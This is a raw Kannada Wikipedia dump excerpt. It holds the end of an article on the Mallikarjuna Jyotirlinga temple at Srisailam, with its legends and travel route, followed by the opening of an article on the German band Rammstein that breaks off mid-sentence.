ಜ್ಯೋತಿರ್ಲಿಂಗದ ದರ್ಶನವಾಗುತ್ತದೆ. ಲಿಂಗ ತುಂಬಾ ಚಿಕ್ಕದು ; ೮-೧೦ ಅಂಗುಲ ಎತ್ತರ ಇರಬಹುದು. ಬೆಟ್ಟದ ಕೆಳಗಿನಿಂದ ಪೂಜಾ ಸಾಮಗ್ರಿಗಳನ್ನು ತೆಗೆದುಕೊಂಡು ಹೋಗಬೇಕು. ಪೂಜೆ ಮಾಡಿಸಿ, ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ಜ್ಯೋತಿರ್ಲಿಂಗದ ದರ್ಶನ ಮಾಡಿಕೊಂಡು ಬರಬಹುದು. *ಆವರಣದಲ್ಲಿ ಎರಡು ಕೊಳಗಳಿವೆ. ಸುತ್ತಲೂ ಸಣ್ಣ ಸಣ್ಣ ಶಿವಮಂದಿರಗಳಿವೆ . ಮಲ್ಲಿಕಾರ್ಜುನ ಮಂದಿರದ ಹಿಂಭಾಗದಲ್ಲಿ ಶ್ರೀ ಪಾವ೯ತಿ ಮಂದಿರವಿದೆ. ಇಲ್ಲಿ ಪಾವ೯ತಿ ದೇವಿಗೆ ಮಲ್ಲಿಕಾದೇವಿ ಎಂದು ಹೆಸರಿದೆ. ಶಿವನಿಗೆ ಇಲ್ಲಿ ಅರ್ಜುನ ಎಂದೂ ಹೇಳುತ್ತಾರೆ. ಈ ಶಿವ ಮತ್ತು ಮಲ್ಲಿಕಾ (ಪಾರ್ವತಿ) ಹೆಸರುಗಳು ಸೇರಿ ಶಿವನಿಗೆ ಮಲ್ಲಿಕಾರ್ಜುನ ಎಂದು ಜ್ಯೋತಿರ್ಲಿಂಗಕ್ಕೆ ಹೆಸರು ಬಂದಿದೆ. ಮಂದಿರದ ಎದುರು ದೊಡ್ಡದಾದ ನಂದಿ ವಿಗ್ರಹ ಇದೆ. *ಶಿವರಾತ್ರಿಯ ದಿನ ಬಹಳ ಜನ ಸೇರುತ್ತಾರೆ ಆಗ ಶಿವ ಪಾರ್ವತಿಯರ ವಿವಾಹ ಮಹೋತ್ಸವ ನಡೆಯುತ್ತದೆ. ಪ್ರತಿದಿನ ನೂರಾರು ಭಕ್ತರು ದೇವರ ದರ್ಶನ ಪಡೆಯಲು ಬರುತ್ತಾರೆ.ಸಮೀಪದಲ್ಲೇ ಹಠೇಶ್ವರ ಹಾಗೂ ಬ್ರಮರಾಂಬಾ ದೇವಿಯರ ಮಂದಿರಗಳಿವೆ. ಪ್ರಸಿದ್ಧ ಅಂಬಾದೇವಿಯ ಮಂದಿರ ಭವ್ಯವಾಗಿದೆ. ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನನ ದರ್ಶನದಿಂದ ಸಕಲ ಪಾಪವೂ ಪರಿಹಾರವಾಗಿ ಮುಕ್ತಿ ದೊರೆಯುವುದೆಂಬ ನಂಬುಗೆ ಇದೆ. ಸಮೀಪದ ಪಟ್ಟಣ ಕರ್ನೂಲು, ಇಲ್ಲಿಂದ ೧೦೦ ಕಿಮೀ.ದೂರವಿದೆ. ಭದ್ರಾಚಲಂ ಮತ್ತು ಮಹಾನಂದಿ ಇಲ್ಲಿಗೆ ಹತ್ತಿರದ ತೀರ್ಥ ಕ್ಷೇತ್ರಗಳು. ನಾಗಾರ್ಜನ ಸಾಗರ ಮತ್ತೊಂದು ಪ್ರೇಕ್ಷಣೀಯ ಸ್ಥಳ. ಇಲ್ಲಿಗೆ ವಾಹನ ವ್ಯವಸ್ಥೆ ಚೆನ್ನಾಗಿದೆ. {{Infobox Mandir | name = ಶ್ರೀಶೈಲಂ | image = Srisailam_Entrance_Gopuram.jpg | image_alt = | caption = ದೇವಾಲಯದ ಮುಖದ್ವಾರ | pushpin_map = <!-- India Andhra Pradesh --> | map_caption = Location in Andhra Pradesh | latd = 16.073927 | latNS = N | longd = 78.868731 | longEW = E | coordinates_region = IN-AP | other_names = | proper_name = [[ಶ್ರೀಭ್ರಮರಾಂಭ ಮಲ್ಲಿಕಾರ್ಜುನಸ್ವಾಮಿ ಆಲಯಂ]] | devanagari = | sanskrit_translit = | tamil = | marathi = | bengali = | country = [[ಭಾರತ]] | state = [[ಆಂಧ್ರ ಪ್ರದೇಶ]] | district = | location =ಶ್ರೀಶೈಲಂ | elevation_m = | primary_deity = [[ಶಿವ ಮತ್ತು ಭ್ರಮರಾಂಬಗಳು]] | important_festivals= | architecture = | number_of_temples = | number_of_monuments= | inscriptions = | date_built = | creator = | website = }} ==ಶಿವ ಪುರಾಣದ ಕಥೆ == *ಇತರೆ ಜ್ಯೋತಿರ್ಲಿಂಗದ ಕಥೆಯಂತೆಯೇ ಇಲ್ಲಿಯ ಕಥೆಯೂ ಇದೆ. ಬ್ರಹ್ಮ ಮತ್ತು ವಿಷ್ಣು ಇವರಲ್ಲಿ ಯಾರು ಮೇಲೆಂದು ಚರ್ಚೆಯಾದಾಗ, ಅವರು ಯಾರು ಮೇಲೆಂದು ಶಿವನನ್ನು ಕೇಳುವರು. ಶಿವನು ಮೂರು ಜ್ಯೋತಿಗಳ (ಬೆಳಕಿನ) ಆದಿ ಅಂತ್ಯ ವಿಲ್ಲದ ಮೂರು ಕಂಬಗಳನ್ನು (ಅವು ಬ್ರಹ್ಮ , ವಿಷ್ಣು ಮಧ್ಯ ಮಹೇಶ್ವರ) ಸೃಷ್ಠಿಸಿದನು (ಜ್ಯೋತಿರ್ಲಿಲಿಂಗ). ವಿಷ್ಣು ಮತ್ತು ಬ್ರಹ್ಮ ರಿಗೆ ಅದರ (ಮಧ್ಯದಲಿಂಗ) ಮತ್ತು ಮೇಲಿನ ತುದಿಯನ್ನು ಕಂಡುಹಿಡಿಯಲು ತಿಳಿಸಿದನು. ವಿಷ್ಣುವು ಅದರ ಕೆಳಗಿನ ತುದಿಯನ್ನು ಕಾಣದೇ ಹಿಂತುರುಗಿ ಬಂದು ತನಗೆ ಆ ಲಿಂಗದ ತುದಿ ಸಿಗದಿರುವ ವಿಷಯ ತಿಳಿಸಿದನು. ಆದರೆ ಬ್ರಹ್ಮ ನು (ಮೇಲಿನ) ತಾನು ನೋಡಿರುವದಾಗಿ ಹೇಳಿದನು. ಈಶ್ವರನು .ಎರಡನೇ ಜ್ಯೋತಿಸ್ಥಂಬವಾಗಿದ್ದು ಬ್ರಹ್ಮನು ಸುಳ್ಳು ಹೇಳಿದನೆಂದು ತಿಳಿದು ಅವನಿಗೆ ಪೂಜೆಯಿಲ್ಲದಿರಲಿ ಎಂದು ಶಪಿಸಿದನು .ಅದರೆ ಸತ್ಯ ಹೇಳಿದ ವಿಷ್ಣು ವು ಪೂಜೆಗೆ ಅರ್ಹನೆಂದು ಹೇಳಿದನು ಆ ಜ್ಯೋತಿಯೇ ಈ ಜ್ಯೋತಿರ್ ಲಿಂಗವಾಗಿದೆ ಎಂದು ಶಿವ ಪುರಾಣ ಹೇಳುತ್ತದೆ. == ಶ್ರೀ ಶೈಲದ ಹೆಸರಿನ ಕಥೆ. == *ಶಿವ ಪಾರ್ವತಿಯರು ತಮ್ಮ ಮಕ್ಕಳಾದ ಗಣೇಶ ಕಾರ್ತಿಕೇಯರಿಗೆ ವಿವಾಹಮಾಡಲು ನಿಶ್ಚಯಿಸಿ ವಧುಗಳಾದ ಸಿದ್ಧಿ ಮತ್ತು ಬುದ್ಧಿಯರನ್ನು ವಿವಾಹಮಾಡಲು ನಿಶ್ಚಯಿಸಿದರು. ಅವನ್ನು ಯಾರಿಗೆ ವಿವಾಹಮಾಡಬೇಕೆಂದು ಪರೀಕ್ಷಿಸಲು ಒಂದು ಪಣವನ್ನು ಇಟ್ಟರು. ಈ ಜಗತ್ತನ್ನು ಮೊದಲು ಯಾರು ಸುತ್ತು ಹಾಕಿ ಬರುವರೋ ಅವರಿಗೆ ವಿವಾಹ ಮಾಡುವುದೆಂದು ನಿರ್ಧರಿಸಿದರು. ಕಾರ್ತಿಕೇಯನು ಅವನ ವಾಹನ ನವಿಲಿನ ಮೇಲೆ ಜಗತ್ತನ್ನು ಸುತ್ತಿ ಬರಲು ಹೊರಟನು. ಗಣೇಶನು ಶಿವ ಪಾರ್ವತಿಯರೇ ಜಗತ್ತಿನ ಸ್ವರೂಪರೆಂದು ಹೇಳಿ ಅವರನ್ನೇ ಒಂದು ಸುತ್ತು ಬಂದು ಕುಳಿತನು. ಅದನ್ನು ಒಪ್ಪಿ ಶಿವ ಪಾರ್ವತಿಯರು ಗಣೇಶನಿಗೆ ಸಿದ್ಧಿ ಮತ್ತು ಬುದ್ಧಿಯರನ್ನು ಕೊಟ್ಟು ವಿವಾಹ ಮಾಡಿದರು. ಕಾರ್ತಿಕೇಯನು ಜಗವನ್ನು ಪ್ರದಕ್ಷಿಣೆಮಾಡಿ ಬಂದು ಇದನ್ನು ನೋಡಿ ಸಿಟ್ಟಾಗಿ ಕೈಲಾಸವನ್ನು ಬಿಟ್ಟು ಬಂದು ಕೃವಂಗ (ಶ್ರೀಶೈಲ) ಪರ್ವತಕ್ಕೆ ಬಂದು ನೆಲಸಿದನು . *ಶಿವ ಪಾರ್ವತಿಯರು ಅವನನ್ನು ಹಿಂಬಾಲಿಸಿ ಬಂದು ಅವನಿಗೆ ಸಮಾಧಾನ ಮಾಡಲು ನೋಡಿದರು ಆದರೆ ಅವನು ಒಪ್ಪದೆ ಬೇರೆ ಪರ್ವತಕ್ಕೆ ಹೋಗಲು ಹವಣಿಸಿದನು. ಆಗ ದೇವತೆಗಳು ಕುಮಾರನೂ ಶಿವ ಪಾರ್ವತಿಯರೂ ಅಲ್ಲಿಯೇ ನೆಲಸಬೇಕೆಂದು ಕೋರಿದರು. ಅಂತಯೇ ಮುರುಗನೂ (ಕಾರ್ತಿಕೇಯ : ಕುಮಾರ) ಶಿವ ಪಾರ್ವತಿಯರೂ ಅಲ್ಲಿಯೇ ನೆಲಸಿದರು. ಅದಕ್ಕೆ ಶ್ರೀ ಶೈಲ ವೆಂದು ಹೆಸರುಬಂದಿತು. ಆದರೆ ನಂತರ ಶಿವನು ಅಮಾವಾಸ್ಯೆಯಂದೂ , ಪಾರ್ವತಿಯು ಹುಣ್ಣಿಮೆಯಂದೂ ಕಾರ್ತಿಕೇಯನನ್ನು ನೋಡಲು ಅಲ್ಲಿಗೆ ಬರುವರೆಂಬ ನಂಬುಗೆ ಇದೆ <sup>೧</sup>. == ಶಕ್ತಿ ಪೀಠದ ಪುರಾಣ ಕಥೆ == *ದಕ್ಷ ಯಜ್ಞದ ಕಾಲದಲ್ಲಿ ಯಜ್ಞ ಕುಂಡಕ್ಕೆ ಅಹುತಿಯಾದ ಸತೀ ದೇವಿಯು ನಂತರ ಪಾರ್ವತಿಯಾಗಿ ಹುಟ್ಟಿ ಬಂದು ಶಿವನನ್ನು ವಿವಾಹವಾದ ಕಥೆ ಪ್ರಸಿದ್ಧವಾಗಿದೆ. ಆ ಸತಿ ದೇವಿಯ ಶಕ್ತಿ ಹದಿನೆಂಟು ಕಡೆ ನೆಲಸಿ ಆ ಪ್ರದೇಶಗಳು ಹದಿನೆಂಟು ಮಹಾಶಕ್ತಿ ಸ್ಥಳಗಳೆಂದು ಪ್ರಸಿದ್ಧವಾಗಿವೆ *ಆ ಹದಿನೆಂಟು ಮಹಾ ಶಕ್ತಿ ಸ್ಥಳಗಳಲ್ಲಿ ಶ್ರೀಶೈಲವೂ ಒಂದು . ಇದರ ಹಿಂದಿರುವ ಕಥೆ . ಸತೀದೇವಿಯು ಯಜ್ಞಕುಂಡವನ್ನು ಪ್ರವೇಶಿಸಿದ ನಂತರ ಶಿವನು ಅವಳ ದೇಹವನ್ನು ಹೊತ್ತು ಸಂಚರಿಸುವಾಗ ಅವಳದೇಹದ ಒಂದು ಭಾಗ (ತುಣುಕು - ತುಟಿ) ಶ್ರೀಶೈಲ ಪ್ರದೇಶಗಲ್ಲಿ ಬಿದ್ದಿತೆಂದೂ, ಆದ್ದರಿಂದ ಇದು ಮಹಾಶಕ್ತಿ ಸ್ಥಳವಾಗಿ ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿರುವುದಂದೂ ಹೇಳವರು . == ಶ್ರೀಶೈಲಕ್ಕೆ ಮಾರ್ಗ. == ಹ್ಶೆದರಾಬಾದು ಇಲ್ಲಿಗೆ ೧೭೫ ಕಿ.ಮೀ. ಹತ್ತಿರದ ರೈಲ್ವೆ ನಿಲ್ದಾಣ ಮರ್ಕಾಪುರ ; ಓಂಗಲೆ ; ನಂದ್ಯಾಲ ; ಹ್ಶೆದರಾಬಾದು -ಮೆಹಬೂಬನಗರ ( ರಾ ಹೆ.೭) - ಶ್ರೀಶೈಲಮ್ /ಓಂಗಲೆ - ಗೂತಿ - ಅತಮ್‌ಕೂರು- ಶ್ರೀಶೈಲಮ್ ದೇವಾಲಯ. == ನೋಡಿ == *[[ಶ್ರೀಶೈಲ]] *[[ಚರ್ಚೆಪುಟ:ಮಲ್ಲಿಕಾರ್ಜುನ ಜ್ಯೋತಿರ್ಲಿಂಗ]] *[[ಕೇದಾರನಾಥ]], ಉತ್ತರಾಂಚಲ) * ಶ್ರೀ [[ವಿಶ್ವೇಶ್ವರ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ((ಕಾಶಿ, ಉತ್ತರಪ್ರದೇಶ) * [[ಶ್ರೀ ವೈದ್ಯನಾಥ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ಬಿಹಾರ ರಾಜ್ಯ * [[ಶ್ರೀ ಮಹಾಕಾಳೇಶ್ವರ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ಮಧ್ಯ ಪ್ರದೇಶದ ಉಜ್ಜಯನಿ * [[ಶ್ರೀ ಓಂಕಾರೇಶ್ವರ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ಮಧ್ಯ ಪ್ರದೇಶ ನರ್ಮದಾ ತೀರ * [[ಶ್ರೀ ಸೋಮನಾಥ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ಪ್ರಭಾಸ ಕ್ಷೇತ್ರ ಜುನಾಗಡ ಜಿಲ್ಲೆ, ಗುಜರಾತ್ , ಸೌರಾಷ್ತ್ರ : * [[ಶ್ರೀ ನಾಗೇಶ್ವರ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ದ್ವಾರಕಾ ಗುಜರಾತ್ * ಶ್ರೀ [[ತ್ರ್ಯಂಬಕೇಶ್ವರ]] ಜ್ಯೋತಿರ್ಲಿಂಗ ನಾಸಿಕ ಜಿಲ್ಲೆ ಮಹಾರಾಷ್ತ್ರ ರಾಜ್ಯ ; * [[ಶ್ರೀ ಗೃಷ್ಣೇಶ್ವರ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ಮಹಾರಾಷ್ಟ್ರದ ಔರಂಗಾಬಾದ್ ಕ್ಶೇತ್ರ * ಶ್ರೀ [[ಭೀಮಾಶಂಕರ]] ಜ್ಯೋತಿರ್ಲಿಂಗ - *ಶ್ರೀ[[ರಾಮನಾಥೇಶ್ವರ]] ಜ್ಯೋತಿರ್ಲಿಂಗ ತಮಿಳುನಾಡು *[[ದ್ವಾದಶ ಜ್ಯೋತಿರ್ಲಿಂಗಗಳು]] ಮತ್ತು [[ಜ್ಯೋತಿರ್ಲಿಂಗಗಳು]]-[[ಜ್ಯೋತಿರ್ಲಿಂಗ]] == ಆಧಾರ. == {{commons category|Mallikarjuna Jyotirlinga}} *ದ್ವಾದಶ ಜ್ಯೋತಿರ್ಲಿಂಗಗಳು ಕೈ ಹೊತ್ತಿಗೆ- ಪ್ರವಾಸ ಲೇಖನ ಗ್ರಂಥ_ ಬರೆದವರು ಶ್ರೀಮತಿ ಚೂಡಾಮಣಿ ರಾಮಚಂದ್ರ [[ಸಾಗರ]] ಶಿವಮೊಗ್ಗ ಜಿಲ್ಲೆ *೧-https://en.wikipedia.org/wiki/Srisailam *https://en.wikipedia.org/wiki/Mallikarjuna_Swamy * {{ದ್ವಾದಶ ಜ್ಯೋತಿರ್ಲಿಂಗಗಳು}} [[ವರ್ಗ:ಭಾರತದ ಪುಣ್ಯಕ್ಷೇತ್ರಗಳು]] [[ವರ್ಗ:ಹಿಂದೂ ಧರ್ಮ]] [[ವರ್ಗ:ಹಿಂದೂ ಧರ್ಮದ ಪುಣ್ಯ ಕ್ಷೇತ್ರಗಳು]] ojllm81igfxs4qm5bbt4uwz31tuwokk ರಾಹ್ಮ್ ಶ್ಟೈನ್ 0 50896 1116415 1080774 2022-08-23T12:08:52Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox musical artist | Name = Rammstein | Img = Rammstein Feuer Frei, cropped.jpg | Img_capt = | Img_size = 250 | Landscape = Yes | Background = group_or_band | Alias = | Origin = [[Berlin]], [[ಜರ್ಮನಿ]] | Genre = <!--DO NOT EDIT-->[[Neue Deutsche Härte]]<!-- ***DO NOT EDIT THIS LINE — see the discussion page section 'Final consensus...'. Changing this value WILL RESULT IN A WARNING. --> | Years_active = <!-- DO NOT CHANGE "SINCE" TO "PRESENT", see MOS:DATE-->Since 1994 | Label = [[Motor Music Records|Motor Music]], [[Republic Records|Republic]], [[Slash Records|Slash]], [[Universal Music Group|Universal]], [[Vagrant Records|Vagrant]], [[Spinefarm]] | Associated_acts = [[Emigrate]] | URL = [http://Rammstein.de www.rammstein.de] | Current_members = [[Till Lindemann]]<br />[[Richard Z. Kruspe]]<br />[[Paul Landers|Paul H. Landers]]<br />[[Oliver Riedel|Oliver "Ollie" Riedel]]<br />[[Christoph Schneider|Christoph "Doom" Schneider]]<br />[[Christian Lorenz|Christian "Flake" Lorenz]] | Past_members = }} ''''ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್'''' {{IPA-de|ˈʁamʃtaɪn}} ಎಂಬುದು [[ಬರ್ಲಿನ್]] ನ ಜರ್ಮನ್ ಔದ್ಯೋಗಿಕ ಮೆಟಲ್ ವಾದ್ಯವೃಂದ. ಇದನ್ನು 1994 ರಲ್ಲಿ ರಚಿಸಲಾಯಿತು.<ref>{{Cite web |url=http://www.rammstein.de/Timeline/T1994.html |title="ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ – T1994" |access-date=2013-12-09 |archive-date=2010-03-29 |archive-url=https://web.archive.org/web/20100329194947/http://www.rammstein.de/Timeline/T1994.html |url-status=dead }}</ref> ಈ ವಾದ್ಯವೃಂದ ಕೆಳಕಂಡ ಸದಸ್ಯರನ್ನು ಒಳಗೊಂಡಿದೆ. [[ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್]] (ಪ್ರಧಾನ ಗಾಯಕ), [[ರಿಚರ್ಡ್ Z. ಕ್ರುಸ್ಪೆ]] (ಪ್ರಮುಖ ಗಿಟಾರ್ ವಾದಕ ಮತ್ತು ಹಿಮ್ಮೇಳ), [[ಪಾಲ್ H. ಲ್ಯಾಂಡರ್ಸ್]] (ಲಯಬದ್ಧವಾಗಿ ಗಿಟಾರ್ ನುಡಿಸುವವ, ಹಿಮ್ಮೇಳ), [[ಆಲಿವರ್ ಆಲಿ ರಿಡಲ್]] (ಗಿಟಾರ್ ನ ಮಾಲೀಖ), [[ಕ್ರಿಸ್ಟೋಫ್ "ಡೂಮ್" ಸ್ನೈಡರ್]] (ಡ್ರಮ್ಸ್ ಮತ್ತು ಎಲೆಕ್ಟ್ರಾನಿಕ್ ತಾಳವಾದ್ಯ) ಮತ್ತು [[ಕ್ರಿಶ್ಚಿನ್ "ಫ್ಲೇಕ್" ಲಾರೆನ್ಜ್]] (ಕೀಬೋರ್ಡ್). ಅವರನ್ನು [[ನ್ಯೂ ಡಚ್ ಹಾರ್ಟ್ ಸೀನ್]] ನ ಭಾಗವೆಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು. ಪಕ್ಕದಲ್ಲಿದ್ದ ಇತರ ವಾದ್ಯವೃಂದಗಳು ಉದಾಹರಣೆಗೆ [[ಒಮ್ ಫ್!]], [[ಇಸ್ ಬ್ರೆಚರ್]], ಮತ್ತು [[ಡೈ ಕ್ರುಪ್ಸ್]]. ಇವರ ವಾದ್ಯವಂದಕ್ಕೆ ''ಟ್ಯಾನ್ಜ್ ಮೆಟಲ್'' (ಲಿಟ್. "ಡ್ಯಾನ್ಸ್ ಮೆಟಲ್") ಎಂಬ ಅಡ್ಡ ಹೆಸರು ಇಡಲಾಯಿತು.<ref>{{cite web | url = http://www.unk.be/what_is_dance_metal_detailed.htm | title = What is Dance Metal? | accessdate = 2006-12-03 | publisher = UNK! | archive-date = 2011-07-23 | archive-url = https://web.archive.org/web/20110723141117/http://www.unk.be/what_is_dance_metal_detailed.htm | url-status = dead }}</ref><ref>{{cite web | url = http://www.artistopia.com/rammstein/fans | title = Rammstein Fan Sites | accessdate = 2006-12-03 | publisher = Artistopia | archive-date = 2007-02-21 | archive-url = https://web.archive.org/web/20070221035802/http://www.artistopia.com/rammstein/fans | url-status = dead }}</ref> ಅವರ ಹಾಡುಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಜರ್ಮನ್ ಭಾಷೆಯಲ್ಲಿರುತ್ತವೆ, ಆದರೂ ಅವರು ಬೇರೆ ಬಾಷೆಗಳಲ್ಲೂ ಹಾಡಿದ್ದಾರೆ. ಉದಾಹರಣೆಗೆ : [[ಇಂಗ್ಲೀಷ್]], [[ಸ್ಪ್ಯಾನಿಷ್]], [[ಫ್ರೆಂಚ್]] ಮತ್ತು [[ರಷ್ಯನ್]].<ref>http://www.chaoscontrol.com/?article=rammstein</ref> ಸುಮಾರು 2009 ರಲ್ಲಿ ಅವರು ಪ್ರಪಂಚದಾದ್ಯಂತ ತಮ್ಮ 15 ದಶಲಕ್ಷ ಧ್ವನಿ ಮುದ್ರಣಗಳನ್ನು ಮಾರಾಟ ಮಾಡಿದರು.<ref>{{cite web | title = RAMMSTEIN Band – Timeline – T2005 | publisher = Rammstein | accessdate = 2009-10-04 | url = http://www.rammstein.de/Band/Timeline/T2005.html | archive-date = 2009-09-19 | archive-url = https://web.archive.org/web/20090919051120/http://www.rammstein.de/Band/Timeline/T2005.html | url-status = dead }}</ref> ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ನ ಎಲ್ಲಾ ಅನುಕ್ರಮಣಿಕೆಯನ್ನು [[ಯುನಿವರ್ಸಲ್ ಮ್ಯೂಸಿಕ್ ಗ್ರೂಪ್]] ಪ್ರಕಟಿಸಿತು. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ 1994 ರಲ್ಲಿ ರೂಪಿಸಲ್ಪಡುವವರೆಗೂ ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ವಾದ್ಯವೃಂದದ ತಂಡದಲ್ಲಿ ಯಾವ ಬದಲಾವಣೆ ಆಗಲಿಲ್ಲ. ಯಾವ ಸದಸ್ಯರು ವಾದ್ಯವೃಂದವನ್ನು ಬಿಟ್ಟು ಹೋಗಲಿಲ್ಲ. ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ಅದರ ಹೆಸರನ್ನು ಪರೋಕ್ಷವಾಗಿ ಜರ್ಮನ್ ನಗರವಾದ [[ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ -ಮೈಸೆನ್ ಬ್ಯಾಚ್]] ನಿಂದ ತೆಗೆದುಕೊಂಡಿತು. [[ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ಏರ್ ಶೋ ಡಿಸಾಸ್ಟರ್]] 1998 ರ ಆಗಸ್ಟ್ 28 ರಂದು ನಡೆಯಿತು. "[[ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್]]"ವಾದ್ಯವೃಂದದ ಅಂಕಿತ ಹಾಡು ದುರಂತದ ಸ್ಮರಾಣಾರ್ಥಕವಾಗಿ ಹಾಡಿದ ಹಾಡಾಗಿದೆ. ವಾದ್ಯವೃಂದವು ಜನಪ್ರಿಯವಾಗುವ ಸ್ವಲ್ಪ ಸಮಯದ ಮೊದಲು ಅವರು "ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್-ಫ್ಲೋಗ್ಸ್ ಚುವೌ" ಎಂಬ ಹೆಸರಿನಲ್ಲಿ ಪ್ರದರ್ಶನ ನೀಡುತ್ತಿದ್ದರು.(ವಾಚ್ಯಾರ್ಥದಲ್ಲಿ "ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್-ಏರ್ ಶೋ"ಎಂಬ ಅರ್ಥ ಕೊಡುತ್ತದೆ.) ಅವರ ಹಾಡುಗಳು ಜರ್ಮನ್ ಭಾಷೆಯಲ್ಲಿ ಬರೆದಿದ್ದರೂ ಕೂಡ ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ಪ್ರಪಂಚದಲ್ಲೆಲ್ಲಾ ಯಶಸ್ಸು ಗಳಿಸಿತು. ವಾದ್ಯವೃಂದವು ವಿರಾಮದ ನಂತರ ಮತ್ತೆ ಒಂದುಗೂಡಿದೆ. ಅಲ್ಲದೇ ''[[ಲೈಬೆ ಇಸ್ಟ್ ಫುರ್ ಅಲೆ ಡ]]'' ಯೂರೋಪ್ 2009 ಅಕ್ಟೋಬರ್ 16 ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಅವರ ಆರನೇಯ ಆಲ್ಬಂ ನಲ್ಲಿ ಕೆಲಸ ಮಾಡಲು ಪ್ರಾರಂಭಿಸುತ್ತದೆ, ಎಂದು 2007 ರಲ್ಲಿ ಧೃಢಪಡಿಸಲಾಯಿತು. == ಇತಿಹಾಸ == === ನಿರ್ಮಾಣ ಮತ್ತು (1994) ರ ಮೊದಲಿನ ವರ್ಷಗಳು === ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ಗಿಟಾರ್ ವಾದಕ [[ರಿಚರ್ಡ್ Z. ಕ್ರುಸ್ಪೆ]]ಯಿಂದ ಅಸ್ತಿತ್ವಕ್ಕೆ ಬಂದಿತು. ಆತ 1989 ರಲ್ಲಿ ಪಶ್ಚಿಮ ಬರ್ಲಿನ್ ಗೆ ಹೋದ. ಅಲ್ಲಿ ಆರ್ಗಸಮ್ ಡೆತ್ ಗಿಮ್ಮಿಕ್ಸ್ ಎಂಬ ವಾದ್ಯವೃಂದವನ್ನು ಪ್ರಾರಂಭಿಸಿದ. ಆ ಸಮಯದಲ್ಲಿ ಅವನು ಅಮೇರಿಕನ್ ಸಂಗೀತ ವಿಶೇಷವಾಗಿ [[ಕಿಸ್]] ನಿಂದ ಹೆಚ್ಚು ಪ್ರಭಾವಿಸಲ್ಪಟ್ಟಿದ್ದ. [[ಬರ್ಲಿನ್ ವಾಲ್]] ಕುಸಿತದ ನಂತರ ಆತ ತನ್ನ ಜನ್ಮಸ್ಥಳವಾದ [[ಸ್ಚಿವರೆನ್]] ಗೆ ಹಿಂದಿರುಗಿದ.ಅಲ್ಲಿ [[ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್]] ಬುಟ್ಟಿನೆಯ್ಗೆಕಾರನಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದ. ಅಲ್ಲದೇ [[ಫಸ್ಟ್ ಆರ್ಸ್ಚ್]] ವಾದ್ಯವೃಂದದಲ್ಲಿ ಡ್ರಮ್ಸ್ ನುಡಿಸುತ್ತಿದ್ದ. ರಿಚರ್ಡ್ [[ಆಲಿವರ್ ರಿಡೆಲ್]] ನೊಂದಿಗೆ ಇನ್ ಚಟಬೋಕಟೇಬಲ್ಸ್ ವಾದ್ಯವೃಂದದಲ್ಲಿದ್ದ. ಆಗ [[ಕ್ರಿಸ್ಟೋಫ್ "ಡೂಮ್" ಸ್ನೈಡರ್]] ಡೈ ಫರ್ಮ ವಾದ್ಯವೃಂದಕ್ಕೆ ಸೇರಿದವನಾಗಿದ್ದ. ರಿಚರ್ಡ್ ಗೆ ತಾನು ಮೊದಲು ಮಾಡಿದ ಹಾಡು ತನಗೆ ಸರಿಯಾಗಿ ಹೊಂದುವುದಿಲ್ಲ ಎಂದು ಅರ್ಥವಾದಾಗ: ಯಾಂತ್ರಿಕ ಪರಿಕರಗಳನ್ನು ಜೋಡಿಸುವುದರ ಬಗ್ಗೆ ಹಾಗು ದೊಡ್ಡ ಗಿಟಾರ್ ಗಳ ಬಗ್ಗೆ ಯೋಚಿಸಿದ. ಮೂರು ಜನರು ಹೊಸ ಯೋಜನೆಯ ಮೇಲೆ ಒಟ್ಟಿಗೆ ಕೆಲಸ ಮಾಡಲು ಪ್ರಾರಂಭಿಸಿದರು. ರಿಚರ್ಡ್ ಗೆ ಏಕಕಾಲದಲ್ಲಿ ಸಂಗೀತ ಮತ್ತು ಸಾಹಿತ್ಯ ರಚಿಸುವುದು ಅತ್ಯಂತ ಕಷ್ಟವಾಯಿತು. ಆದ್ದರಿಂದ ಆತ ಲಿನ್ಡ್ ಮ್ಯಾನ್ ನನ್ನು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಗೆ ಸೇರಲು ಒಪ್ಪಿಸಿದ. ಟಿಲ್ ಕೆಲಸ ಮಾಡುವಾಗ ಹಾಡುತ್ತಿದ್ದ ಹಾಡನ್ನು ಕೇಳಿ ರಿಚರ್ಡ್ ಆತನನ್ನು ಮೊದಲ ಬಾರಿಗೆ ನೋಡಿದ್ದ. ಬರ್ಲಿನ್ ನಲ್ಲಿ ಹವ್ಯಾಸಿ ವಾದ್ಯ ವೃಂದಗಳಿಗೆ 1994 ರಲ್ಲಿ ಸ್ಪರ್ಧೆಯನ್ನು ಏರ್ಪಡಿಸಲಾಗಿತ್ತು. ಇದರಲ್ಲಿ ಗೆದ್ದವರಿಗೆ ನಾಲ್ಕು ಹಾಡುಗಳ ಡೆಮೋ ಸಿಡಿಯನ್ನು 